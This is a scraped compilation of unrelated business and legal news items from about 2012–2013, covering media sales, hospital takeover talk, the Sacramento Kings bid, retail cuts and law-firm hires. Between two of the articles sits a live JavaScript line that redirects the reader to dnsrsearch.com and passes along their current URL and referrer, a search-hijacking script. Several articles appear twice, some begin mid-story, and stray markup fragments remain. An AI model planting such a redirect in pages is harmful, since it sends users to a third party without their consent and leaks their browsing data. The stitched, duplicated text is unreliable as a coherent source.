DealBook: For Banking Group, Australian Open Becomes a Marketing Opportunity in China

DealBook: Pearson to Sell Financial News Group for $623 Million

News Corp. Sells a Group of Small Local Publications

The collection of small newspapers and niche publications, known as the Dow Jones Local Media Group, will be owned by an affiliate of the Fortress Investment Group, News Corporation said in a news release. The publications will be managed by GateHouse Media, the newspaper publisher based outside Rochester.

The details of the transaction were not released, but the money involved was evidently relatively small, because if it had been bigger (or, in financial terms, material to the company) News Corporation would have had to disclose more financial information.

Christine Frank, managing director of Waller Capital Partners, which advised Dow Jones, said “there was significant interest among strategic and financial buyers” for the local publications.

“This is a testament to the growing number of buyers for newspaper assets and these properties in particular,” she said.

The company’s interest in selling the local publications was reported in April by The Wall Street Journal. The Journal and the collection of local publications were both included in the 2007 deal in which News Corporation acquired Dow Jones. Shortly afterward, News Corporation tried for the first time to sell the local media assets, but it pulled back in 2008 because of unfavorable market conditions.

The same logic guided the decision to sell now: the community papers — like The Cape Cod Times, The Herald in Portsmouth, N.H., and The Daily Tidings in Ashland, Ore. — and the small magazines don’t fit into the company’s larger framework.

“We are confident that the papers will prosper under the new owners, but they were not strategically consistent with the emerging portfolio of the new News,” Robert Thomson, the News Corporation chief executive, said in a statement.

In June most of News Corporation’s television and film units were split off into a separate company called 21st Century Fox, leaving News Corporation as the publishing arm of Rupert Murdoch’s media empire.

DealBook: Former C.E.O. of Willis Group Joins K.K.R. as Senior Adviser

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Sinclair Group Is Buying 7 Allbritton TV Stations

Sinclair has been aggressive in its expansion efforts. It has stations that cumulatively reach about 35 percent of households in the United States. In the last two years the company has completed about $2 billion in station deals, not including the one announced Monday.

“We are thrilled to add the Allbritton properties to our growing portfolio and national footprint,” David Smith, chief executive of Sinclair, said in a statement.

With the seven stations, Sinclair will take control of NewsChannel 8, Allbritton’s local cable news channel in Washington. Sinclair said that it would explore the introduction of a national cable news channel with NewsChannel 8 as its core.

The price was $985 million, nearly $100 million more than initial predictions by analysts when the stations were put on sale.

The head of the Allbritton Communications Company, Robert Allbritton, whose father, Joe, founded the company in the 1970s, did not comment on plans for the windfall, but he has said that he wants to concentrate on Politico, Allbritton’s Washington-centric news organization.

In effect, the two companies are following diverging paths. Mr. Allbritton is looking to the Internet for future profits, while Sinclair is sticking with local television.

In a memorandum in early May informing Politico employees that he was considering a sale of the stations, Mr. Allbritton wrote, “My future is Politico and companies like it.”

He added, “In fact, my plan is to invest even more in Politico and to place additional bets on media companies that meet my definition of successful journalistic and business enterprises.”

Politico has already announced one expansion. In June, it said it would add opinion from outside contributors and long-form storytelling in the form of a print magazine, to be published six times annually, under the longtime editor Susan Glasser.

Reached by telephone on Monday, John F. Harris, Politico’s editor in chief, said it was experiencing a “robust expansion,” but he was vague about plans. He affirmed that the site was moving more deeply into video production, but no more than it had been before the station sales were announced. “I don’t see those things as investments beyond anything any responsible media organization is doing,” he said.

This summer, Politico’s Web site has been experimenting with a subscription wall for frequent visitors in several states, a possible precursor to a plan to charge more broadly for its content.

Sinclair, too, is looking for more subscriber revenue. The fees paid, begrudgingly, by cable and satellite providers for local stations are one of the main factors behind the current cycle of consolidation; another is the prices paid for political advertising every two years. Along with Sinclair’s series of smaller deals, Gannett announced last month that it would acquire 20 stations owned by Belo for about $1.5 billion, and Tribune announced this month that it would acquire 19 stations owned by Local TV Holdings for $2.7 billion.

The nearly $1 billion price of the latest deal was driven primarily by the allure of WJLA in Washington, one of the biggest markets in the country. The other six stations, all affiliates of ABC, are much smaller, in markets including Birmingham, Ala.; Tulsa, Okla.; and Roanoke, Va.

Given the value of WJLA — and how much influence a station in the nation’s capital can have — some had speculated that Allbritton would sell it separately, but the company opted not to do so. A spokesman for Sinclair did not respond to an interview request, but in a statement on Monday, Mr. Smith made it clear that WJLA was the crown jewel.

“To buy a full-blown news operation in our nation’s capital and an infrastructure that allows us to be connected to our branches of government and be at the pulse of national issues is a once-in-a lifetime event,” he said.

Robin Flynn, a senior analyst for SNL Kagan, called the deal a win for Sinclair. “It not only gets an ABC affiliate in a top 10 market — Washington D.C., No. 8 — which can continue to generate significant political revenues,” she wrote, “but also the cable news channel in D.C. which it could leverage.”

Without making any definitive comments about the creation of a national cable news channel, Mr. Smith said NewsChannel 8 “provides the perfect platform should we decide to expand it into other markets, especially given the amount of local news we produce across our entire portfolio.”

Sinclair has connections to 149 television stations across the country, many of them in small and medium markets. It owns some of the stations outright; others it operates or manages for affiliated companies. With the addition of the Allbritton stations, Sinclair estimated that it would reach 38.2 percent of households in the United States.

Sinclair said it expected the transaction to close by the end of the year, pending Federal Communications Commission approval, which analysts said was all but certain. But at least one group objected to the deal, partly because it represents further consolidation in the industry and partly because Sinclair’s newscasts have been accused of showing bias toward Republican and conservative causes.

“The company’s cookie-cutter approach to local news and repeated use of the airwaves to push a partisan agenda are well known,” the group, Free Press, said.

BT Group Chief Resigns to Join British Government

Mr. Livingston, 48, will leave BT in September after five years in the job and will be replaced by Gavin Patterson, chief executive of its consumer division, BT Retail, in September, the company said in a statement.

Mr. Livingston said leaving BT “has been an incredibly hard decision” but that “the opportunities ahead and the strength of the management team that Gavin will lead mean that the company is in a great position.”

BT shares, which had recently reached their highest level since 2007, fell 2 percent in London after the announcement.

Under Mr. Livingston, BT heavily invested in pay television by starting its own sports channels to compete with rivals including British Sky Broadcasting. The company also reduced costs, tackled its large pension deficit and replaced old copper cabling with more efficient fiber-optic broadband lines for Internet connections.

On the strength of customer demand for high-speed Internet service, BT surprised analysts last month by announcing an unexpectedly strong, 21 percent increase in fiscal fourth-quarter pretax profit.

As trade minister, Mr. Livingston will be responsible for attracting investment to Britain and helping British companies fuel the economic recovery. He will take over from Stephen Green, a former chairman of the British bank HSBC, who is retiring. Mr. Livingston will not receive a salary as minister but will become a member of the House of Lords.

In a statement on the government Web site, Prime Minister David Cameron called Mr. Livingston an “outstanding business leader” who will help to “open new trade links and grow our exports.”

Mr. Patterson, 45, joined BT in 2004 as managing director of its consumer division. Before that, he worked as European marketing director at the consumer goods company, Procter & Gamble. He became chief executive of BT Retail, which sells services to private households and small businesses, in 2008.

“We have great opportunities ahead and are well placed to take advantage of them,” Mr. Patterson said in a statement. “The company is in a strong place.”

BT’s chairman, Michael Rake, said Mr. Patterson had been closely involved in creating BT’s strategy and was “the right person to take it forward.”

“We have a fitting and experienced successor in Gavin Patterson,” he said. “He has a detailed knowledge of all parts of our business and a track record of success.'’

BT Retail contributed about 31 percent of the entire company’s pretax profit in the fiscal year that ended on March 31. Earnings before interest, tax, depreciation and amortization at BT Retail rose to 1.9 billion pounds, or $3 billion, in 2013, up from 1.8 billion pounds in 2012.

Overall, BT Group had revenue for the year of 18.25 billion pounds, or $28.6 billion.

DealBook: Talk of Takeover Grows at Health Management Hospital Group

David Albers/Naples Daily NewsPhysicians Regional Medical Center in Naples, Fla., part of Health Management Associates, the third-largest for-profit chain.

Ever since the chief executive of Health Management Associates, the for-profit hospital system, abruptly announced nearly three weeks ago that he would be leaving to lead a religious mission in South America, speculation has mounted about whether the company could be headed for a takeover.

Its stock has soared 36 percent to a six-year high. Its largest shareholder appears eager to play a bigger role in determining the company’s next steps, even if that means taking on the board. And executives from the most likely potential buyer have — without naming names — indicated they could be in the market.

This week, H.M.A., which is based in Naples, Fla., said its board had hired financial advisers to help it consider strategic alternatives but also made clear it would not discuss its plans in any detail.

Pressure is intensifying on the company and its board, particularly its chairman, William J. Schoen, who is viewed by some analysts as less than enthusiastic about selling.

A former chief executive who has shaped and reshaped the company several times over the decades, Mr. Schoen, 77, has been chairman for 27 years.

“He’s certainly someone who’s played a very strong role in forming the company’s strategy,” said Darren Lehrich, an analyst at Deutsche Bank. “There could be some protecting-the-legacy issues there.”

H.M.A. is the nation’s third-largest for-profit hospital chain, by number of beds, with 71 locations. It has struggled in recent months with falling inpatient admissions to its hospitals.

While other hospitals also reported weaker financials in the first few months of this year, the company’s revenue may have also been hurt by an investigation by CBS’s “60 Minutes” that ran late last year, highlighting concern over whether patients were being unnecessarily admitted. In the report, several former employees said the company coerced doctors to admit patients to its hospitals, regardless of medical need, to increase company profits.

H.M.A. has denied the accusations, saying admissions are based solely on what is best for patient care.

Among the myriad government investigations and civil lawsuits that the company discloses in its regulatory filings, H.M.A. has also indicated that United States attorney’s offices in seven states were investigating its physician referrals, including financial arrangements and the “medical necessity of emergency room tests and patient admissions.”

The inquiry appears to be part of a broader look by federal regulators into whether some of the nation’s hospitals are pressing emergency physicians and others to admit patients who could be treated without having to stay overnight in the hospital.

H.M.A. said it was cooperating with regulators.

Some Wall Street analysts say those various investigations and lawsuits could turn off potential buyers.

“Buying H.M.A. means dealing with its troubled operations plus escalating risks from burgeoning legal issues that could prove prohibitively expensive,” Vicki Bryan, an analyst at the bond research firm Gimme Credit, wrote in a note to clients earlier this month.

Others note that since a wave of acquisitions several years ago by private equity, most of the deal activity among public hospital systems has been for single hospitals or smaller deals.

“There are a lot of smaller, not-for-profit hospitals that are looking for financial partners,” said Dean Diaz, a senior credit officer at the Moody’s Corporation. “There are a lot of potential targets out there that can be done without necessarily looking for a big transformational deal.”

A series of curious moves kindled the recent speculation around the company.

In early May, Glenview Capital Management, the hedge fund founded by Lawrence M. Robbins, signaled in a regulatory filing that it had increased its stake and now held more than 37 million shares, or 14.6 percent of H.M.A.’s outstanding shares. The filing allowed it to make direct recommendations to the board.

The company’s stock hardly budged on the news. But the filing drew a much sharper, defensive response from the board.

More than two weeks later, at a board meeting, the company adopted a so-called poison pill to thwart any hostile takeover by a large investor. The pill goes into effect if any investor tries to buy 15 percent or more of the company.

Within a few days Glenview issued a clarification that said it had no interest in acquiring the company.

Investors were then surprised in late May when the company announced that its chief executive, Gary D. Newsome, 55, would retire at the end of July to take over as president of the Uruguay-Montevideo Mission in South America.

Mr. Newsome, who became chief executive in 2008, earned nearly $22 million in total compensation over the last three years, according to regulatory filings. Mr. Newsome had been a senior executive at Community Health Systems, another for-profit hospital system.

Gary Newsome is leaving as C.E.O. of the hospital chain.

This week, Glenview raised the stakes when it asked the board to remove or change the poison pill in a way that would allow investors to acquire a bigger stake without activating it, according to the regulatory filing.

The letter added that Glenview was evaluating whether to formulate a proposal to make changes “to all or a portion” of the company’s board.

That’s an unusually aggressive and public stance for Mr. Robbins, who observers say prefers to exert his influence on companies in a more friendly, behind-the-scenes way.

Mr. Robbins has been eager for hospital stocks for more than a year, talking them up at a New York investor conference a year ago. Glenview owns stakes in several publicly traded for-profit hospital systems.

The list of potential buyers for H.M.A. isn’t long, with many pointing to Community Health as the most likely candidate.

Citing the company’s success in its $6.8 billion takeover of Triad Hospitals in 2007, an executive for Community Health told investors at a conference in late May that it was “open to doing that again.”

But the executive emphasized that any potential deal would have to be done on friendly terms. Community Health learned that lesson the hard way after its unsuccessful unsolicited bid for Tenet Healthcare in 2010 wound up in an ugly mix of lawsuits and accusations of fraud and wrongdoing between the two hospital systems.

Community Health has disclosed it is also under investigation by the Justice Department, which is seeking information “about our relationships with emergency department physicians, including financial arrangements.” Community said it was cooperating with government officials. The company declined to comment further on the investigation and its potential interest in H.M.A.

The question many are asking is whether H.M.A.’s directors, particularly Mr. Schoen, would welcome even a friendly bid.

In its statement on Wednesday, the board said it had engaged Morgan Stanley and Weil, Gotshal & Manges to consider “strategic alternatives and opportunities available to H.M.A.”

While Mr. Schoen has spurned efforts by others to acquire H.M.A. in recent years, he is certainly no stranger to deal-making. The chairman of a small bank in Naples that he had started, Mr. Schoen joined H.M.A.’s board in 1983. Less than two years later, after setting the company on its course of acquiring rural hospitals, he was named co-chief executive.

Later, in 1988, Mr. Schoen took H.M.A. private and then public again in 1991.

But a few years ago, in 2007, when H.M.A. engaged in serious discussions about a potential buyout with a group of private equity firms, Mr. Schoen thwarted their efforts. He engineered a deal in which the company borrowed $3.25 billion, loading the company up with debt, to pay shareholders $2.4 billion in dividends.

Sacramento Kings Draw New Bid From Group Eager to Move Team to Seattle

But in the run-up to the vote, which will take place at the league’s board of governors meeting in Dallas, the two groups bidding for the Kings continue to raise the stakes.

On Friday, the group led by Chris Hansen, a hedge fund manager who wants to buy the team and move it to Seattle, increased its bid for the 65 percent of the club owned by the Maloof family by about $49 million, a 14 percent jump. The additional money would raise the value of the team to $625 million from $550 million.

The more lucrative offer prompted the Maloofs — who seek the biggest payday possible — to claim that if the N.B.A. blocked Hansen from buying the Kings, they would remove their offer to sell their 65 percent stake in the club, according to ESPN.com.

Instead, the Maloofs would sell only 20 percent of the team for $125 million to Hansen.

However, a person with knowledge of the negotiations said the Maloofs were also talking to the other group, led by the software mogul Vivek Ranadive.

On April 29, the N.B.A.’s relocation committee voted unanimously to recommend to the league’s owners that the team not be allowed to move to Seattle. The decision was a blow to the ambitions of Hansen’s group, which wants an N.B.A. team in Seattle to replace the SuperSonics, who left in 2008 and became the Oklahoma City Thunder.

Micky Arison, the owner of the Miami Heat and a member of the relocation committee, said in a reported exchange with a basketball fan on Twitter last week that the N.B.A.’s primary concern was whether Sacramento had done all it could to keep the Kings there, not whether Seattle was a good fit for the team.

Arison reportedly said he thought Sacramento had done all it could.

The Ranadive-led group hoping to keep the team in Sacramento includes Mark S. Mastrov, the founder of 24 Hour Fitness, and Paul E. Jacobs, the chief executive of Qualcomm. Until Friday, their offer was similar to the Hansen group’s, except that Ranadive’s group promised not to accept revenue-sharing money once a new arena opened.

Sports industry experts said Ranadive’s group had the upper hand. The Hansen group’s latest bid “reeks of desperation,” said Marc Ganis, who brokers team ownership sales. “They may have concluded this was their one shot at a team,” he said. “But if so, they should not have lowballed their original offer. As they say in the N.B.A., they should have gone strong to the hoop.”

No matter what the N.B.A. decides this week, the bid to keep the team in Sacramento could be dogged by controversy. This month, the Coalition for Responsible Arena Development sued Sacramento, accusing the city of not fully disclosing the true value of the subsidies it offered the potential buyers of the team.

The city voted to pay $258 million toward the cost of a new arena. The suit, however, accused Sacramento officials of providing undisclosed subsidies to Ranadive and his group to help them buy the team.

James C. Sanchez, the city attorney, denied that “secret subsidies” had been offered. “The term sheet contains the deal points and was publicly vetted,” he said.

Jones Group to Cut 8 Percent of Staff and Close 170 Stores

Shares of the company rose 2.7 percent to $13.97 on the New York Stock Exchange after it announced the cuts, which it said would cost it about $40 million to $60 million over the next 15 months.

Jones' U.S. stores have struggled in the face of aggressive competition. Sales during the all-important holiday season fell about 7 percent.

Earlier this year, activist hedge fund firm Barington Capital Group, run by James Mitarotonda, met with Jones Group management and suggested the company cut expenses and focus on its most successful brands, while possibly selling other brands.

In the past, Barington has invested in several retailers, including Dillard's Inc and Warnaco, and pushed for operational and strategic changes. PVH Corp acquired Warnaco in February.

"Barington has been pushing for an in-depth review of the Jones brands and even a culling of some brands," said Damien Park, managing partner at Hedge Fund Solutions, a research and consulting firm focused on shareholder activism. "That was missing in today's announcement."

Barington typically seeks a seat on the boards of many companies in which it invests, Park added.

"Given their past record, it's highly likely they won't rest until they get board representation," he said.

A representative at Barington declined to comment. A Jones Group spokeswoman confirmed that the company met with Barington but declined to comment further.

Jones Group shares are up 23 percent so far this year.

The company estimated first-quarter adjusted earnings of about 15 cents per share, shy of Wall Street expectations for a profit of 25 cents a share. It estimated first-quarter revenue at about $1 billion.

First-quarter gross margins are estimated to fall 90 basis points below the company's own forecasts as a highly promotional environment and an unusually cold weather hurt sales.

Jones said it will cut U.S. retail staff by about 18 percent and corporate, support and supply chain staff by about 2 percent.

The company said upon completion of the restructuring plan, it expects outlet stores comprising a significantly higher percentage of its overall retail locations.

The company is now betting on its wholesale division, where sales to chains like Macy's Inc and Nordstrom Inc contribute about half its revenue.

Jones said it will streamline the wholesale business to focus more on sportswear and also consolidate some distribution and supply chain facilities.

The restructuring is already underway and includes 50 store closures announced in the fourth quarter of 2012, Jones said.

Jones had a total of 594 domestic retail stores at the end of 2012, which include 409 outlet stores. The company had about 6,250 full-time employees and about 5,540 part-time employees as of December 31, according to a regulatory filing.

(Reporting by Siddharth Cavale in Bangalore; Editing by Rodney Joyce, Supriya Kurane and David Gregorio)

Pepper Hamilton Lures Five From Linklaters for White-Collar Litigation Group

By Christine Simmons All Articles 

New York Law Journal

February 28, 2013

A group of five Linklaters attorneys has joined Pepper Hamilton's white-collar litigation and investigations group in New York. Philadelphia-based Pepper Hamilton said Larry Byrne and Ruth Harlow are now partners and former Linklaters associates Martin Bloor and Linda Regis-Hallinan will join as of counsel in Pepper's white-collar practice. The new group from Linklaters also includes an associate. The firm's New York office now numbers about 40 lawyers.

Byrne also will become a managing director of the Freeh Group International Solutions, a risk management firm founded by former FBI Director Louis Freeh and acquired last year by Pepper Hamilton. A former federal prosecutor, Byrne served as head of Linklaters' U.S. litigation practice from 2006 to 2011 and co-managing partner of the New York office from 2007 to 2011. He represents clients involved in government and internal investigations, as well as related trial and appellate matters. Harlow focuses on regulatory investigations and complex commercial litigation.

Five-Lawyer Gordon & Rees Group Jumps to SNR Denton

A team of five commercial litigators has moved from Gordon & Rees to SNR Denton in San Francisco.

Partners Fletcher Alford, Laura Geist and Douglas Scullion came to the international behemoth last month, bringing associates Kelly Fair and Anna Rassouli with them. The team practices commercial litigation and class action defense, serving clients in the financial services and insurance industries. Alford, who spent nearly 23 years at Gordon & Rees, said the group wanted to join a firm with a global footprint in light of the increasingly global nature of commercial litigation.

"I really enjoyed my time [at Gordon & Rees] and have the utmost respect for the people there," he said. "But SNR Denton is a very exciting place, an expanding and growing global firm that I think will be a great platform for my practice."

The firm got even more global this fall, when partners from SNR Denton, Canadian firm Fraser Milner Casgrain and French firm Salans signed off on a three-way union, which will result in an approximately 2,500-lawyer firm, Dentons.

Now, the megafirm wants to expand its ranks in California, said Sonia Martin, managing partner of the San Francisco office. Martin said she would like to use lateral hires to deepen the office's practices in Indian law and tribal representation, IP, insurance regulation and corporate work. And she added she has been looking to add litigators with the Gordon & Rees team's expertise for some time -- the office was founded to do insurance litigation, and that remains its focus.

"They do what we do. It's a natural fit," she said. "They really boost our bench strength in San Francisco in the core area."

The group from Gordon & Rees also complements the office's work in insurance regulation, Martin added. Many of the team's clients already turned to SNR Denton for regulatory assistance, Geist said. Most of those clients are expected to stay with the trio of partners after their move, she added.

"It was pretty nice for us to be able to combine with the folks here and bring our litigation and class action experience to the table," Geist said.

SNR Denton has not traditionally recruited from regional firms like Gordon & Rees, several people in the legal industry said. But the firm may be looking beyond its typical sources of talent to grow in the San Francisco Bay Area.

"It's a fiercely competitive market for talent, and it's gotten fiercer in the recent past," law firm consultant Kent Zimmermann said.

Subscribe to The Recorder

You must be signed in to comment on an article

Sign In or Subscribe
">

Five-Lawyer Gordon & Rees Group Jumps to SNR Denton

A team of five commercial litigators has moved from Gordon & Rees to SNR Denton in San Francisco.

Partners Fletcher Alford, Laura Geist and Douglas Scullion came to the international behemoth last month, bringing associates Kelly Fair and Anna Rassouli with them. The team practices commercial litigation and class action defense, serving clients in the financial services and insurance industries. Alford, who spent nearly 23 years at Gordon & Rees, said the group wanted to join a firm with a global footprint in light of the increasingly global nature of commercial litigation.

"I really enjoyed my time [at Gordon & Rees] and have the utmost respect for the people there," he said. "But SNR Denton is a very exciting place, an expanding and growing global firm that I think will be a great platform for my practice."

The firm got even more global this fall, when partners from SNR Denton, Canadian firm Fraser Milner Casgrain and French firm Salans signed off on a three-way union, which will result in an approximately 2,500-lawyer firm, Dentons.

Now, the megafirm wants to expand its ranks in California, said Sonia Martin, managing partner of the San Francisco office. Martin said she would like to use lateral hires to deepen the office's practices in Indian law and tribal representation, IP, insurance regulation and corporate work. And she added she has been looking to add litigators with the Gordon & Rees team's expertise for some time -- the office was founded to do insurance litigation, and that remains its focus.

"They do what we do. It's a natural fit," she said. "They really boost our bench strength in San Francisco in the core area."

The group from Gordon & Rees also complements the office's work in insurance regulation, Martin added. Many of the team's clients already turned to SNR Denton for regulatory assistance, Geist said. Most of those clients are expected to stay with the trio of partners after their move, she added.

"It was pretty nice for us to be able to combine with the folks here and bring our litigation and class action experience to the table," Geist said.

SNR Denton has not traditionally recruited from regional firms like Gordon & Rees, several people in the legal industry said. But the firm may be looking beyond its typical sources of talent to grow in the San Francisco Bay Area.

"It's a fiercely competitive market for talent, and it's gotten fiercer in the recent past," law firm consultant Kent Zimmermann said.

Subscribe to The Recorder

You must be signed in to comment on an article

Sign In or Subscribe
">

Pepper Hamilton Lures Five From Linklaters for White-Collar Litigation Group

By Christine Simmons All Articles 

New York Law Journal

February 28, 2013

A group of five Linklaters attorneys has joined Pepper Hamilton's white-collar litigation and investigations group in New York. Philadelphia-based Pepper Hamilton said Larry Byrne and Ruth Harlow are now partners and former Linklaters associates Martin Bloor and Linda Regis-Hallinan will join as of counsel in Pepper's white-collar practice. The new group from Linklaters also includes an associate. The firm's New York office now numbers about 40 lawyers.

Byrne also will become a managing director of the Freeh Group International Solutions, a risk management firm founded by former FBI Director Louis Freeh and acquired last year by Pepper Hamilton. A former federal prosecutor, Byrne served as head of Linklaters' U.S. litigation practice from 2006 to 2011 and co-managing partner of the New York office from 2007 to 2011. He represents clients involved in government and internal investigations, as well as related trial and appellate matters. Harlow focuses on regulatory investigations and complex commercial litigation.

Construction Law Group Joins Lewis Brisbois

By Christine Simmons All Articles 

New York Law Journal

January 9, 2013

Ten construction attorneys have left Lester Schwab Katz & Dwyer to join Lewis Brisbois Bisgaard & Smith. The group includes senior partner Darrell Whiteley, who will be vice chair of Lewis Brisbois' construction practice, and partners Clare Cunningham and Joshua Jemal. Cunningham was an associate and Jemal was of counsel at Lester Schwab. The other seven are associates.

Whiteley said the group defends construction companies and developers. Their clients have included Tishman Construction Corp., Hunter Roberts Construction Group, Lower Manhattan Development Corp. and the Metropolitan Transportation Authority, he said.

Los Angeles-based Lewis Brisbois has about 850 attorneys in 25 offices, including about 90 lawyers in New York. Whiteley, who practiced at 60-attorney Lester Schwab for 19 years, said he wanted the opportunity to practice at a firm with a larger footprint. He said some construction companies no longer operate regionally. "The scope of this firm is one that suits the construction industry," he said, adding that the departure from Lester Schwab was amicable. "They've been very gracious," he said.

Michael McDonagh, managing partner of Lester Schwab, said many of the firm's partners represent construction companies in accident and labor law cases. "We did not lose any capability to defend those type of matters on behalf of our clients" and the group's departure will "have no effect on the viability" of the firm, he said. Lester Schwab hired two attorneys this week and is looking to fill other positions, he said.

Morgan Lewis Bolsters White-Collar Group With Former Acting AG Terwilliger

Morgan, Lewis & Bockius is giving its white-collar defense practice a big jolt come November 1 when former acting U.S. attorney general and current White & Case white-collar practice group leader George J. Terwilliger III joins the firm.

DealBook: PVH to Buy Warnaco Group for $2.9 Billion

Mikael JanssonA billboard for Calvin Klein in Manhattan. Warnaco Group controls the Calvin Klein jeans and underwear licenses.

10:30 a.m. | Updated

LONDON — The fashion company PVH Corporation agreed on Wednesday to acquire the Warnaco Group in a $2.9 billion deal, bringing various Calvin Klein brands under one corporate umbrella.

Under the terms of the deal, PVH, whose brands include Calvin Klein and Tommy Hilfiger, said it was offering $51.75 in cash and 0.18 of a share in PVH for each share in Warnaco, which is based in New York and controls the Calvin Klein jeans and underwear licenses.

The combined cash-and-stock deal is worth $68.43, a 34 percent premium on Warnaco’s closing share price on Friday. Trading in New York was closed on Monday and Tuesday because of Hurricane Sandy.

Shares in Warnaco rose 39 percent, to $70.95, in morning trading in New York, while stock in PVH jumped 21 percent, to $110.

The acquisition would give Warnaco shareholders a combined 10 percent stake in the enlarged company, according to PVH.

“Bringing all of the Calvin Klein brands in house was critical for us ” PVH’s chief executive, Emanuel Chirico, said in an interview with DealBook. “Having direct global control of the two largest apparel categories for Calvin Klein – jeans and underwear – will allow us to unlock additional growth potential of this powerful designer brand.”

PVH acquired the Calvin Klein brand in 2003. The deal gave the company control over the design and product development for the Calvin Klein brands. Warnaco holds the licensing agreements for the brand’s jeans and underwear divisions.

The acquisition of Warnaco comes two years after PVH acquired the Tommy Hilfiger brand for $3 billion. The deal gave PVH, which also owns Arrow and Izod and licenses others brands like Geoffrey Beene and Kenneth Cole New York, greater access to the markets in the developing world, particularly Asia and Latin America.

Mr. Chirico of PVH said the company would not be looking to make acquisitions in the near future as it looked to intergrate Warnaco’s operations.

“I don’t see us doing anything for three years,” he said.

PVH said it expected $100 million of annual cost savings by the third year after the completion of the deal, which is expected to close early next year. The company said it would incur $175 million in one-time costs related to these activities.

PVH was advised by the Peter J. Solomon Company, Barclays, Bank of America Merrill Lynch and Citigroup, and the law firm Wachtell, Lipton, Rosen & Katz, while Warnaco was advised by JPMorgan Chase and the law firm Skadden, Arps, Slate, Meagher & Flom.

Expert Witness Sues Group for Refusal to Remove Article

An orthopedic surgeon who won a $392,000 verdict against the law firm that used what he claimed was an unfinished expert report and the medical professional organization that subsequently suspended him, sued the association for refusing to remove from its website an article detailing the suspension proceedings.

Hogan Lovells Bolsters IP Practice With Group From Haynes and Boone

Hogan Lovells is expanding its intellectual property practice, adding four partners in Silicon Valley and one in San Francisco.

The firm announced Monday that Edward Kwok, Jennifer Lantz, Steven Levitan and Clark Stone have joined from Haynes and Boone in San Jose and are based in Silicon Valley. Solo practitioner Christian Mammen is working in the firm's San Francisco office.

Building the firm's IP practice has been a top priority ever since Washington, D.C.-based Hogan & Hartson merged with London-based Lovells in a 2009 deal that created one of the world's largest law firms, said Eric Lobenfeld, a New York-based partner who is the co-head of Hogan's IP practice. In 2011 the firm hired a five-partner group in San Francisco from the now-defunct Howrey, including rainmaker K.T. "Sunny" Cherian, now co-head of the IP practice.

"That was a terrific group, but it wasn't enough," Lobenfeld said. "This really gives us a strong and credible group in both offices."

All the partners will focus on IP litigation for the firm's West Coast and Asia-based tech clients, Lobenfeld said. And the new partners said Hogan's global platform and the chance to work on more cross-border matters was a big reason why they decided to join the firm. Levitan and Stone said they already have several clients based in Asia and now they have additional support in Asia.

"IP disputes are increasingly cross-border," Levitan said. "And Hogan has one of the largest platforms in Asia, so we're looking forward to getting to know that group."

Mammen said he doesn't have any clients in Asia yet, but is looking forward to building a global practice. And the move made sense because his solo practice had become increasingly busy, and he was also trying to juggle teaching classes on patent law at UC-Hastings law school. Mammen had been an attorney at Day Casebeer Madrid & Batchelder before going solo and was one of six Day Casebeer lawyers sanctioned in 2009 in a discovery scandal for then-client Qualcomm Inc. A judge lifted those sanctions in 2010.

"I was going to have to grow my practice one way or another and this was just a fantastic opportunity," Mammen said.

No recruiters were involved in the deal, attorneys said.

Hogan is hiring more than IP litigators in the Bay Area, though. In September, the firm also hired partners Mark Goodman and Ethan Miller in San Francisco in the litigation, arbitration and employment practice.

Hogan Lovells Bolsters IP Practice With Group From Haynes and Boone

Hogan Lovells is expanding its intellectual property practice, adding four partners in Silicon Valley and one in San Francisco.

The firm announced Monday that Edward Kwok, Jennifer Lantz, Steven Levitan and Clark Stone have joined from Haynes and Boone in San Jose and are based in Silicon Valley. Solo practitioner Christian Mammen is working in the firm's San Francisco office.

Building the firm's IP practice has been a top priority ever since Washington, D.C.-based Hogan & Hartson merged with London-based Lovells in a 2009 deal that created one of the world's largest law firms, said Eric Lobenfeld, a New York-based partner who is the co-head of Hogan's IP practice. In 2011 the firm hired a five-partner group in San Francisco from the now-defunct Howrey, including rainmaker K.T. "Sunny" Cherian, now co-head of the IP practice.

"That was a terrific group, but it wasn't enough," Lobenfeld said. "This really gives us a strong and credible group in both offices."

All the partners will focus on IP litigation for the firm's West Coast and Asia-based tech clients, Lobenfeld said. And the new partners said Hogan's global platform and the chance to work on more cross-border matters was a big reason why they decided to join the firm. Levitan and Stone said they already have several clients based in Asia and now they have additional support in Asia.

"IP disputes are increasingly cross-border," Levitan said. "And Hogan has one of the largest platforms in Asia, so we're looking forward to getting to know that group."

Mammen said he doesn't have any clients in Asia yet, but is looking forward to building a global practice. And the move made sense because his solo practice had become increasingly busy, and he was also trying to juggle teaching classes on patent law at UC-Hastings law school. Mammen had been an attorney at Day Casebeer Madrid & Batchelder before going solo and was one of six Day Casebeer lawyers sanctioned in 2009 in a discovery scandal for then-client Qualcomm Inc. A judge lifted those sanctions in 2010.

"I was going to have to grow my practice one way or another and this was just a fantastic opportunity," Mammen said.

No recruiters were involved in the deal, attorneys said.

Hogan is hiring more than IP litigators in the Bay Area, though. In September, the firm also hired partners Mark Goodman and Ethan Miller in San Francisco in the litigation, arbitration and employment practice.